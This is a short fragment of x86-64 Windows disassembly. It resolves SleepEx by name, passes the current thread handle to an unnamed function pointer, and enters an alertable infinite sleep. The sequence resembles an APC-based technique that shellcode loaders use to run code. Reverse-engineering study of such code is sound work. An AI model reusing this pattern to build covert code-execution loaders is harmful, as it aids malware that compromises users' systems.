mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x750]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5d8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7e0]
add rsp, 0x878
pop rbx
pop rsi
pop rdi
pop rbp
ret